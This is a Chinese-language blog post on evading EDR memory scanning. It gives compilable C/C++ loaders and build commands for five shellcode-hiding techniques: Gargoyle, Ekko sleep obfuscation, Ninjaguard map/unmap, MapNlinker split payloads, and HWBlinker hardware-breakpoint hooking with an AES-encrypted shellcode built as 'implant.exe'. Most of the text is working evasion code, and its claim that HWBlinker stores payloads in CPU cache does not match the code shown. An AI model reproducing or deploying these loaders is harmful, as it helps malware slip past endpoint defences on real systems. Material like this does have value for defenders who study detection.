进程内存隐藏

2025-11-25 132 11/25

进程内存隐藏

X、EDR内存检测

我们要先了解EDR扫描内存中ShellCode的原理与流程:

原理

  • 内存权限:正常程序的内存页通常是只读或者读写,而ShellCode为了执行必须拥有执行权限(即 RX 或 RWX)的内存段。 因此针对PAGE_EXECUTE_READWRITE 权限的内存会重点巡检。

  • 内存来源:正常的执行代码通常映射自磁盘上的.exe.dll文件,而ShellCode通常驻留在匿名内存(Private Memory)中,即不指向任何磁盘文件。

  • 关键API调用特征:ShellCode执行时会涉及特定的系统API调用链,如VirtualAllocEx -> WriteProcessMemory -> CreateRemoteThread

  • 特征码:匹配已知攻击框架的常用Payload的特征,特征码匹配成功则确认恶意

一、Gargoyle 技术

Gargoyle 将存Payload的内存改成PAGE_NOACCESS,利用ROP链在预定时间执行,执行完后再改回

PAGE_NOACCESS,当内存处于PAGE_NOACCESS时,EDR如果强行读取该地址会触发访问违规异常(即屏蔽静态扫描)。但目前EDR仍可以通过HookVirtualProtect来监控状态切换。

还可以配合Stack SpooferSystem Calls 使其更隐蔽

#include <windows.h>
#include <iostream>
#include <vector>

#define _CRT_RAND_S
#include <stdlib.h>

unsigned char global_payload[] = { 0x90, 0x90, 0x90, 0x90, 0xCC }; 
size_t payload_len = sizeof(global_payload);
LPVOID globalExec_Mem = nullptr;

void XOR(char* data, size_t data_len, char* key, size_t key_len) {
    for (size_t i = 0; i < data_len; i++) {
        data[i] ^= key[i % key_len];
    }
}

typedef BOOL(WINAPI* PCreateProcessInternalW)(
    HANDLE hToken,
    LPCWSTR lpApplicationName,
    LPWSTR lpCommandLine,
    LPSECURITY_ATTRIBUTES lpProcessAttributes,
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    BOOL bInheritHandles,
    DWORD dwCreationFlags,
    LPVOID lpEnvironment,
    LPCWSTR lpCurrentDirectory,
    LPSTARTUPINFOW lpStartupInfo,
    LPPROCESS_INFORMATION lpProcessInformation,
    PHANDLE hNewToken
);

BOOL WINAPI FakeOriginalCreateProcessInternalW(...) {
    std::cout << "[*] 原始 CreateProcessInternalW 被调用,此时 Payload 处于 NOACCESS 状态。" << std::endl;
    return TRUE;
}

BOOL MyProtectedAPIWrapper() {
    DWORD oldProtect = 0;
    char key[16];
    unsigned int r = 0;

    std::cout << "[>] 准备执行敏感操作,开始隐藏 Payload..." << std::endl;

    // 生成随机密钥
    for (int i = 0; i < 16; i++) {
        if (rand_s(&r) == 0) {
            key[i] = (char)(r % 255);
        }
    }

    // 提升权限为 RW 以便加密
    if (!VirtualProtect(globalExec_Mem, payload_len, PAGE_READWRITE, &oldProtect)) {
        return FALSE;
    }

    // XOR 加密
    XOR((char*)globalExec_Mem, payload_len, key, sizeof(key));
    std::cout << "[+] Payload 已加密 (XOR)" << std::endl;

    // 设置为 PAGE_NOACCESS
    // 此时任何尝试读取该内存的行为(包括 EDR 扫描)都会触发访问违规
    VirtualProtect(globalExec_Mem, payload_len, PAGE_NOACCESS, &oldProtect);
    std::cout << "[+] 内存权限已设为 PAGE_NOACCESS" << std::endl;

    FakeOriginalCreateProcessInternalW(); 
    // --------------------------

    // 恢复:NOACCESS -> RW -> 解密 -> RX
    std::cout << "[>] 操作完成,正在恢复 Payload..." << std::endl;
    VirtualProtect(globalExec_Mem, payload_len, PAGE_READWRITE, &oldProtect);
    XOR((char*)globalExec_Mem, payload_len, key, sizeof(key));
    VirtualProtect(globalExec_Mem, payload_len, PAGE_EXECUTE_READ, &oldProtect);

    std::cout << "[+] Payload 已恢复为可执行状态" << std::endl;
    return TRUE;
}

int main() {
    // 初始分配内存并放入 Payload
    globalExec_Mem = VirtualAlloc(NULL, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!globalExec_Mem) return -1;

    memcpy(globalExec_Mem, global_payload, payload_len);
    
    // 初始设为执行权限
    DWORD old;
    VirtualProtect(globalExec_Mem, payload_len, PAGE_EXECUTE_READ, &old);

    MyProtectedAPIWrapper();

    // 清理
    VirtualFree(globalExec_Mem, 0, MEM_RELEASE);
    return 0;
}

二、Ekko 技术

Ekko 技术 实现周期性自加密及上下文劫持,定时加密自身模块内存,解密仅留极短执行。依赖CreateTimerQueueTimer(定时器)、RtlCaptureContext(上下文捕获)、NtContinue(执行流恢复)API,利用SystemFunction032(系统原生RC4)加密。

EDR周期性每分钟检测,Ekko正是利用了这种时间差,恰好规避了EDR的扫描。

但EDR可以HookWaitForSingleObjectSleep,在程序进入长时间休眠前进行强制内存扫描

可以配合ZileanFoliage 技术,使其特征更少

#include <windows.h>
#include <stdio.h>

#define _CRT_RAND_S
#include <stdlib.h>

// 结构体定义保持不变
typedef struct {
    DWORD   Length;
    DWORD   MaximumLength;
    PVOID   Buffer;
} USTRING;

// 使用更隐蔽的内存属性切换

VOID EkkoObf(DWORD SleepTime)
{
    CONTEXT CtxThread = { 0 };
    CONTEXT RopProtRW = { 0 };
    CONTEXT RopMemEnc = { 0 };
    CONTEXT RopDelay  = { 0 };
    CONTEXT RopMemDec = { 0 };
    CONTEXT RopProtRX = { 0 };
    CONTEXT RopSetEvt = { 0 };

    HANDLE  hTimerQueue = NULL;
    HANDLE  hNewTimer   = NULL;
    HANDLE  hEvent      = NULL;
    PVOID   ImageBase   = NULL;
    DWORD   ImageSize   = 0;
    DWORD   OldProtect  = 0;

    // 动态获取系统函数,考虑使用 Syscalls 替换 VirtualProtect
    PVOID   NtContinue = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtContinue");
    PVOID   SysFunc032 = GetProcAddress(LoadLibraryA("Advapi32.dll"), "SystemFunction032");
    
    // 获取当前模块基址及大小
    ImageBase = GetModuleHandleA(NULL);
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD64)ImageBase + ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew);
    ImageSize = ntHeader->OptionalHeader.SizeOfImage;

    // 随机密钥生成
    CHAR KeyBuf[16];
    unsigned int r = 0;
    for (int i = 0; i < 16; i++) {
        rand_s(&r);
        KeyBuf[i] = (CHAR)r;
    }

    USTRING Key = { 16, 16, KeyBuf };
    USTRING Img = { ImageSize, ImageSize, ImageBase };

    hEvent = CreateEventW(NULL, FALSE, FALSE, NULL);
    hTimerQueue = CreateTimerQueue();

    // 捕获当前上下文作为 ROP 链的基础
    if (CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)RtlCaptureContext, &CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD))
    {
        // 给计时器线程一点时间来填充 CtxThread
        WaitForSingleObject(hEvent, 0x32);

        memcpy(&RopProtRW, &CtxThread, sizeof(CONTEXT));
        memcpy(&RopMemEnc, &CtxThread, sizeof(CONTEXT));
        memcpy(&RopDelay,  &CtxThread, sizeof(CONTEXT));
        memcpy(&RopMemDec, &CtxThread, sizeof(CONTEXT));
        memcpy(&RopProtRX, &CtxThread, sizeof(CONTEXT));
        memcpy(&RopSetEvt, &CtxThread, sizeof(CONTEXT));

        // ROP 1: VirtualProtect -> RW (准备加密)
        RopProtRW.Rsp -= 8;
        RopProtRW.Rip = (DWORD64)VirtualProtect;
        RopProtRW.Rcx = (DWORD64)ImageBase;
        RopProtRW.Rdx = (DWORD64)ImageSize;
        RopProtRW.R8  = PAGE_READWRITE;
        RopProtRW.R9  = (DWORD64)&OldProtect;

        // ROP 2: SystemFunction032 (RC4 加密)
        RopMemEnc.Rsp -= 8;
        RopMemEnc.Rip = (DWORD64)SysFunc032;
        RopMemEnc.Rcx = (DWORD64)&Img;
        RopMemEnc.Rdx = (DWORD64)&Key;

        // ROP 3: WaitForSingleObject (真正的休眠发生在这里)
        RopDelay.Rsp -= 8;
        RopDelay.Rip = (DWORD64)WaitForSingleObject;
        RopDelay.Rcx = (DWORD64)GetCurrentProcess(); // 句柄
        RopDelay.Rdx = SleepTime;                    // 休眠时长

        // ROP 4: SystemFunction032 (RC4 解密)
        RopMemDec.Rsp -= 8;
        RopMemDec.Rip = (DWORD64)SysFunc032;
        RopMemDec.Rcx = (DWORD64)&Img;
        RopMemDec.Rdx = (DWORD64)&Key;

        // ROP 5: VirtualProtect -> RX (恢复执行权限)
        RopProtRX.Rsp -= 8;
        RopProtRX.Rip = (DWORD64)VirtualProtect;
        RopProtRX.Rcx = (DWORD64)ImageBase;
        RopProtRX.Rdx = (DWORD64)ImageSize;
        RopProtRX.R8  = PAGE_EXECUTE_READ; // 增强点:恢复为 RX 而非 RWX
        RopProtRX.R9  = (DWORD64)&OldProtect;

        // ROP 6: SetEvent (唤醒主线程)
        RopSetEvt.Rsp -= 8;
        RopSetEvt.Rip = (DWORD64)SetEvent;
        RopSetEvt.Rcx = (DWORD64)hEvent;

        // 阶梯式触发计时器
        CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD);
        CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD);
        CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopDelay,  300, 0, WT_EXECUTEINTIMERTHREAD);
        CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD);
        CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD);
        CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD);

        WaitForSingleObject(hEvent, INFINITE);
    }

    DeleteTimerQueue(hTimerQueue);
    CloseHandle(hEvent);
}

三、Ninjaguard 技术

Ninjaguard 可以代替VirtualAlloc分配内存,依赖CreateFileMapping/MapViewOfFile/UnmapViewOfFile,改用[内存映射文件]将Payload藏在页文件中。主要利用WIndows中CreateFileMapping的API,其第一参数传INVALID_HANDLE_VALUE,就会创建[页文件支持的映射],然后用MapViewOfFile映射到地址空间,拷贝Payload,然后利用UnmapViewOfFile卸载映射,但是卸载后内存地址还在,但是访问会直接拒绝,当我们要执行时,再利用MapViewOfFile重映射。

#include <windows.h>
#include <stdio.h>

// Shellcode
unsigned char payload[] = { 0xXX, 0xXX, 0xXX, 0xXX }; 
unsigned int payload_len = sizeof(payload);

/**
 * Ninjaguard 核心逻辑:利用文件映射隐藏内存
 */
void NinjaguardExecute() {
    HANDLE hMapFile = NULL;
    LPVOID pMapAddr = NULL;
    DWORD oldProtect = 0;
    HANDLE hThread = NULL;

    printf("[*] 开始 Ninjaguard 内存映射流程...\n");

    // 1. 创建一个由页文件(Page File)支持的内存映射对象
    // INVALID_HANDLE_VALUE 表示不在磁盘创建实际文件,而是存在于内存/分页文件中
    hMapFile = CreateFileMappingA(
        INVALID_HANDLE_VALUE,    // 使用页文件
        NULL,                    // 默认安全属性
        PAGE_EXECUTE_READWRITE,  // 初始权限:可读可写可执行
        0,                       // 高位大小
        payload_len,             // 低位大小(Payload长度)
        NULL                     // 映射名
    );

    if (hMapFile == NULL) {
        printf("[!] CreateFileMapping 失败,错误码: %d\n", GetLastError());
        return;
    }

    // 2. 将映射对象映射到当前进程的地址空间
    pMapAddr = MapViewOfFile(
        hMapFile,
        FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, // 映射视图权限
        0,
        0,
        payload_len
    );

    if (pMapAddr == NULL) {
        printf("[!] MapViewOfFile 失败,错误码: %d\n", GetLastError());
        CloseHandle(hMapFile);
        return;
    }

    printf("[+] Payload 已映射到地址: %p\n", pMapAddr);

    // 3. 拷贝 Payload 到映射的内存区域
    RtlMoveMemory(pMapAddr, payload, payload_len);
    printf("[+] Payload 拷贝完成。\n");

    // 4. 模拟“隐藏”过程:卸载映射
    // 此时 pMapAddr 指向的地址变为无效,EDR 扫描该地址会触发异常
    printf("[>] 正在卸载映射 (Unmap) 以规避扫描...\n");
    UnmapViewOfFile(pMapAddr);
    pMapAddr = NULL; 
    printf("[!] 内存已从地址空间消失。尝试访问将导致崩溃。\n");

    // 模拟等待(例如等待 EDR 扫描周期结束)
    printf("[*] 暂停中,此时内存中不存在 Payload 特征...\n");
    Sleep(3000); 

    // 5. 重新映射并执行
    printf("[>] 重新映射内存以准备执行...\n");
    pMapAddr = MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0, 0, payload_len);
    
    if (pMapAddr != NULL) {
        printf("[+] 重新映射成功,地址: %p。准备启动线程...\n", pMapAddr);
        
        // 修改为执行权限(更隐蔽的做法是先 RW 再 RX)
        VirtualProtect(pMapAddr, payload_len, PAGE_EXECUTE_READ, &oldProtect);

        hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMapAddr, NULL, 0, NULL);
        if (hThread) {
            printf("[+] 线程已启动,等待执行完成...\n");
            WaitForSingleObject(hThread, INFINITE);
            CloseHandle(hThread);
        }
    }

    // 6. 清理资源
    UnmapViewOfFile(pMapAddr);
    CloseHandle(hMapFile);
    printf("[+] 资源已释放。\n");
}

int main() {
    printf("--- Ninjaguard (Map/Unmap) ---\n");
    NinjaguardExecute();
    return 0;
}
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG ninjaguard.cpp /link /OUT:ninjaguard.exe /SUBSYSTEM:CONSOLE

四、MapNlinker 技术

MapNlinker 将Payload拆分为][映射段+链接器],映射段藏载荷,链接器动态拼接执行,无完整Payload内存特征。把shellcode拆成多个小片段,分别映射到不同内存区域,链接器按偏移拼接,需依赖CreateFileMapping+GetProcAddress动态链接。

用来对抗EDR的完整恶意Payload特征库,如果进行拆分则降低被查杀的风险。并且利用Unmap规避内存地址暴露。MapViewOfFile API 如果被EDR进行用户态Hook,可以直接调用内核层函数NtMapViewOfSection

#include <windows.h>
#include <stdio.h>

// Shellcode 
// 片段1: 执行部分逻辑
unsigned char part1[] = { 0x90, 0x90, 0x90 }; // NOPs
// 片段2: 执行剩余逻辑
unsigned char part2[] = { 0xcc, 0xc3 };       // INT3, RET

int main() {
    HANDLE hMap1, hMap2;
    LPVOID pView1, pView2;
    SIZE_T size = 0x1000;

    // 1. 创建两个独立的内存映射对象
    hMap1 = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, size, NULL);
    hMap2 = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, size, NULL);

    if (!hMap1 || !hMap2) return -1;

    // 2. 映射视图
    pView1 = MapViewOfFile(hMap1, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0, 0, 0);
    pView2 = MapViewOfFile(hMap2, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0, 0, 0);

    // 3. 将 Payload 拆分写入不同的内存页
    memcpy(pView1, part1, sizeof(part1));
    memcpy(pView2, part2, sizeof(part2));

    // 4. 链接器逻辑 (Linker): 在 pView1 末尾写入跳转指令指向 pView2
    // 模拟汇编: jmp pView2
    unsigned char jmp_code[] = { 0x48, 0xb8 }; // mov rax, <addr>
    unsigned char jmp_end[] = { 0xff, 0xe0 };  // jmp rax
    
    unsigned char* linker_ptr = (unsigned char*)pView1 + sizeof(part1);
    memcpy(linker_ptr, jmp_code, 2);
    memcpy(linker_ptr + 2, &pView2, 8);
    memcpy(linker_ptr + 10, jmp_end, 2);

    printf("[+] Part 1 at: %p\n", pView1);
    printf("[+] Part 2 at: %p\n", pView2);
    printf("[+] Linker established. Press Enter to execute...");
    getchar();

    // 5. 执行
    ((void(*)())pView1)();

    // 清理
    UnmapViewOfFile(pView1);
    UnmapViewOfFile(pView2);
    CloseHandle(hMap1);
    CloseHandle(hMap2);

    return 0;
}
cl.exe /nologo /Ox /MT /W0 /GS- /DNDEBUG /Tc mapnlinker.cpp /link /OUT:mapnlinker.exe /SUBSYSTEM:CONSOLE

五、HWBlinker 技术

HWBlinker(硬件链接器)主要利用CPU缓存和硬件断点隐藏载荷,Payload存在CPU L2缓存中,内存中仅留跳转指令和硬件断点,依赖DebugActiveProcess/SetThreadContext设置硬件断点,触发时从缓存加载payload执行。

CPU的L2/L3缓存是高速存储,数据存在缓存里,内存中无副本。HWBlinker的流程:1. 用DebugActiveProcess调试自身进程;2. 把payload加载到CPU缓存(通过多次访问让数据驻留缓存);3. 设置硬件断点(DR0),断点地址指向内存中的跳转指令;4. 执行跳转指令触发断点,调试器从缓存加载payload执行;5. 执行完清空缓存,内存中只剩断点指令,无payload

#include <windows.h>
#include <stdio.h>
#include <wincrypt.h>

#define _CRT_RAND_S
#include <stdlib.h>

#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")



// calc shellcode (exitThread) - 64-bit
unsigned char payload[] = { 0xd0, 0xd0, 0x39, 0x93, 0x43, 0x15, 0x34, 0xd8, 0x89, 0x71, 0x60, 0xcc, 0xa8, 0x2e, 0x4, 0x50, 0xd2, 0x0, 0x53, 0xc6, 0x4d, 0xdd, 0xee, 0xfa, 0xd8, 0x78, 0x91, 0x10, 0x4, 0xc8, 0x8, 0x46, 0x7e, 0x32, 0x6a, 0xb6, 0x71, 0xaf, 0x7, 0x2d, 0x0, 0xf6, 0x5d, 0x94, 0xa2, 0xf0, 0x90, 0xbe, 0xea, 0x4e, 0xd7, 0xe1, 0xc3, 0x3, 0xc2, 0x1f, 0xaf, 0x11, 0x12, 0x30, 0xe3, 0x43, 0xe1, 0xf8, 0x74, 0x45, 0xb0, 0xfd, 0x8, 0xb8, 0x11, 0xf8, 0x6f, 0x33, 0x39, 0xa6, 0x1c, 0xf2, 0xc8, 0x30, 0x5, 0x3, 0xae, 0xb, 0x5e, 0xad, 0x62, 0x1c, 0x1b, 0xc2, 0x47, 0x45, 0x91, 0x70, 0x7a, 0x9a, 0xb8, 0xcd, 0xb5, 0xf5, 0x5d, 0x43, 0x95, 0xe8, 0x68, 0xda, 0xa8, 0xd0, 0x4, 0x4f, 0x30, 0x6, 0x54, 0xd2, 0xe, 0x62, 0xc4, 0xd9, 0x61, 0x5b, 0x4f, 0x4c, 0x5d, 0xd, 0x63, 0x74, 0x8b, 0x54, 0x17, 0xf3, 0x57, 0x32, 0xa9, 0x77, 0xfd, 0xb1, 0x4a, 0x5a, 0x5f, 0xc6, 0xe6, 0x1f, 0x6, 0x4a, 0x3, 0x1e, 0x83, 0x8a, 0x7a, 0xb0, 0xc1, 0xc1, 0xc7, 0x7c, 0xa6, 0x7a, 0x72, 0xc8, 0xb5, 0x66, 0xd5, 0xf6, 0x3f, 0x3c, 0xa8, 0xea, 0x45, 0x46, 0x8f, 0x73, 0x65, 0xae, 0x9, 0x97, 0xf5, 0x79, 0x7f, 0x14, 0x8f, 0xd6, 0xe8, 0x2b, 0x26, 0x8d, 0x36, 0x4b, 0x83, 0x8b, 0xa7, 0xad, 0x56, 0x68, 0x17, 0xa1, 0x68, 0xd, 0xf7, 0x6f, 0x29, 0x40, 0x71, 0xbd, 0x8f, 0x80, 0x3a, 0x8, 0xf4, 0x26, 0x79, 0x3c, 0xf2, 0x61, 0x11, 0x83, 0xd6, 0x8b, 0x27, 0xb5, 0xe5, 0x6f, 0x4c, 0x48, 0x15, 0x9d, 0x3, 0x26, 0xd2, 0x5, 0xae, 0xda, 0xf3, 0x74, 0xe3, 0x58, 0x9f, 0xca, 0x6d, 0x58, 0xdf, 0xc4, 0x68, 0xef, 0xc7, 0xcd, 0x26, 0xb6, 0x92, 0xe4, 0x66, 0xf3, 0x6a, 0x35, 0xa0, 0x8b, 0x93, 0xb4, 0xfb, 0x63, 0x1a, 0x1c, 0xbe, 0x2, 0x87, 0xd7, 0x54, 0xc8, 0x1, 0x5a, 0x37, 0x84, 0x48, 0x4d, 0xda, 0x27, 0x90, 0xb9, 0xf6, 0xf6, 0x31, 0xeb, 0xeb, 0x64, 0xf4, 0xa5, 0xa, 0x70, 0xe0, 0x37 };
char key[] = { 0x81, 0x3c, 0x2c, 0xef, 0xc0, 0x5f, 0x9b, 0xe1, 0xbf, 0xba, 0x93, 0x3c, 0xaf, 0x1f, 0xda, 0x9d };
unsigned int payload_len = sizeof(payload);

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
  ULONG           Length;
  HANDLE          RootDirectory;
  PUNICODE_STRING ObjectName;
  ULONG           Attributes;
  PVOID           SecurityDescriptor;
  PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

 typedef struct _CLIENT_ID {
   HANDLE UniqueProcess;
   HANDLE UniqueThread;
 } CLIENT_ID, *PCLIENT_ID;

typedef struct _INITIAL_TEB {
  PVOID StackBase;
  PVOID StackLimit;
  PVOID StackCommit;
  PVOID StackCommitMax;
  PVOID StackReserved;
} INITIAL_TEB, *PINITIAL_TEB;

typedef BOOL (WINAPI * CreateProcessInternalW_t)(
    HANDLE hToken,
    LPCWSTR lpApplicationName,
    LPWSTR lpCommandLine,
    LPSECURITY_ATTRIBUTES lpProcessAttributes,
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    BOOL bInheritHandles,
    DWORD dwCreationFlags,
    LPVOID lpEnvironment,
    LPCWSTR lpCurrentDirectory,
    LPSTARTUPINFOW lpStartupInfo,
    LPPROCESS_INFORMATION lpProcessInformation,
    PHANDLE hNewToken
);

CreateProcessInternalW_t pCreateProcessInternalW;
HANDLE globalThread = NULL;
void * globalExec_Mem = NULL;


int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
    HCRYPTPROV hProv;
    HCRYPTHASH hHash;
    HCRYPTKEY hKey;

        
    if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
                    return -1;
    }
    printf("\n");
    if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
                    return -1;
    }
    if (!CryptHashData(hHash, (BYTE*) key, (DWORD) keylen, 0)){
                    return -1;              
    }
    if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
                    return -1;
    }
    
    if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, (BYTE *) payload, (DWORD *) &payload_len)){
                    return -1;
    }
    
    CryptReleaseContext(hProv, 0);
    CryptDestroyHash(hHash);
    CryptDestroyKey(hKey);
    
    return 0;
}

void XOR(char * data, size_t data_len, char * key, size_t key_len) {
    int j;
    int b = 0;
    j = 0;
    for (int i = 0; i < data_len; i++) {
            if (j == key_len - 1) j = 0;
            b++;
            data[i] = data[i] ^ key[j];
            j++;
    }
}

HANDLE g_Map = NULL;
LPVOID g_MapView = NULL;
int mapsize = 0x2000;


int SetHWBP(HANDLE thrd, DWORD64 addr, BOOL setBP, int DRid) {
    CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_ALL;

    GetThreadContext(thrd, &ctx);
    
    if (DRid < 0 || DRid > 3)
        return -DRid;
    
    if (setBP == TRUE) {
        *((size_t *) &ctx.Dr0 + DRid) = addr;
        ctx.Dr7 |= (1 << 0 + 2 * DRid);         // Local breakpoing in DR{DRid}
        ctx.Dr7 &= ~(1 << 16 + 4 * DRid);       // break on execution in DR{DRid}
        ctx.Dr7 &= ~(1 << 17 + 4 * DRid);

    }
    else if (setBP == FALSE) {
        *((size_t *) &ctx.Dr0 + DRid) = NULL;
        ctx.Dr7 &= ~(1 << 0 + 2 * DRid);
    }

    ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; 
    SetThreadContext(thrd, &ctx);

    return 0;
}


int Go(void) {

    BOOL rv;
    DWORD oldprotect = 0;

    printf("[+] Mapping new memory region\n");
    // create new mapping (backed by pagefile)
    g_Map = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, mapsize, NULL);

    // open a view on the mapping
    g_MapView = (LPBYTE)MapViewOfFile(g_Map, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0, 0, 0);  
    printf("[+] Global exec memory address: %p\n", g_MapView);

    // Decrypt payload
    printf("[+] Decrypting payload\n");
    AESDecrypt((char *) payload, payload_len, (char *) key, sizeof(key));
    
    // Copy payload to allocated buffer
    printf("[+] Copying payload to newly mapped memory region\n");
    RtlMoveMemory(g_MapView, payload, payload_len);

    // Clear the original payload 
    printf("[+] Removing original payload from memory (%#llx)\n", payload);
    memset(payload, 0, payload_len);
    
    // If all good, launch the payload
    printf("[+] Launching a new thread with payload\n\n");
    if ( rv != 0 ) {
        globalThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) g_MapView, 0, 0, 0);
        WaitForSingleObject(globalThread, -1);
    }

    return 0;
}


BOOL myCreateProcessInternalW(HANDLE hToken, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation, PHANDLE hNewToken) {

    DWORD old = 0;
    char key[16];
    unsigned int r = 0;
        
    // generate random encryption/decryption key
    for (int i = 0; i < 16; i++) {
        rand_s(&r);
        key[i] = (char) r;
    }
    
    // encrypt the payload
    XOR((char *) g_MapView, payload_len, key, sizeof(key));
    printf("[+] Global exec memory encrypted\n");
    //getchar();
    
    // set the memory inaccessible
    UnmapViewOfFile(g_MapView);
    printf("[+] Global exec memory unmapped (%#x)\n", GetLastError());
    
    printf("[+] Calling original CreateProcessInternalW()\n");
    SetHWBP(GetCurrentThread(), (DWORD64) pCreateProcessInternalW, FALSE, 0);
    BOOL res = pCreateProcessInternalW(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation, hNewToken);
    SetHWBP(GetCurrentThread(), (DWORD64) pCreateProcessInternalW, TRUE, 0);
    
    printf("[+] Going to Sleep(1m) (%#x)\n", res);
    getchar();
    //Sleep(60000);

    printf("[+] Restoring payload memory access and decrypting\n");
    g_MapView = (LPBYTE) MapViewOfFile(g_Map, FILE_MAP_ALL_ACCESS | FILE_MAP_EXECUTE, 0, 0, 0);
    XOR((char *) g_MapView, payload_len, key, sizeof(key));
    
    return res;
}


HANDLE myCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE  lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId) {
    HANDLE hdl;
    
    SetHWBP(GetCurrentThread(), (DWORD64) &CreateThread, FALSE, 3);
    hdl = CreateThread(lpThreadAttributes,
                            dwStackSize,
                            lpStartAddress,
                            lpParameter,
                            dwCreationFlags | CREATE_SUSPENDED,
                            lpThreadId);
    
    if (hdl != NULL) {
        //Sleep(1000);
        SetHWBP(hdl, (DWORD64) pCreateProcessInternalW, TRUE, 0);
        SetHWBP(hdl, (DWORD64) &CreateThread, TRUE, 3);
        printf("[+] New thread suspended?\n"); getchar();       
        ResumeThread(hdl);
    }
    SetHWBP(GetCurrentThread(), (DWORD64) &CreateThread, TRUE, 3);
    
    return hdl;
}


LONG WINAPI handler(EXCEPTION_POINTERS * ExceptionInfo) {

    if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
        if (ExceptionInfo->ContextRecord->Rip == (DWORD64) CreateThread) {
            printf("[+] CreateThread() called\n");
            ExceptionInfo->ContextRecord->Rip = (DWORD64) &myCreateThread;
        }
        if (ExceptionInfo->ContextRecord->Rip == (DWORD64) pCreateProcessInternalW) {
            printf("[+] CreateProcessInternalW() called\n");
            ExceptionInfo->ContextRecord->Rip = (DWORD64) &myCreateProcessInternalW;
        }
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH;
}

int main(void) {

    DWORD old = 0;

    // resolve API
    pCreateProcessInternalW = (CreateProcessInternalW_t) GetProcAddress(GetModuleHandle("KERNELBASE.dll"), "CreateProcessInternalW");
    
    // register exception handler as first one
    AddVectoredExceptionHandler(1, &handler);

    // set HWBP on CreateThread() function
    int status = SetHWBP(GetCurrentThread(), (DWORD64) &CreateThread, TRUE, 3);
    if (status != 0) {
        printf("[!] Error setting Debug Register DR%d for CreateThread! (non-existent?)\n", -status);
        return -1;
    }

    // set HWBP on CreateProcessInternalW() function
    status = SetHWBP(GetCurrentThread(), (DWORD64) pCreateProcessInternalW, TRUE, 0);
    if (status != 0) {
        printf("[!] Error setting Debug Register DR%d for CreateProcessInternalW! (non-existent?)\n", -status);
        return -1;
    }

    printf("[+] HWBPs set! (%#x)\n", GetLastError());
    Go();
    
    printf("Awaiting..."); getchar();

    return 0;
    
}
cl.exe /nologo /O1 /MT /W0 /GS- /DNDEBUG /Tc implant.cpp /link /OUT:implant.exe /SUBSYSTEM:CONSOLE
- THE END -
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论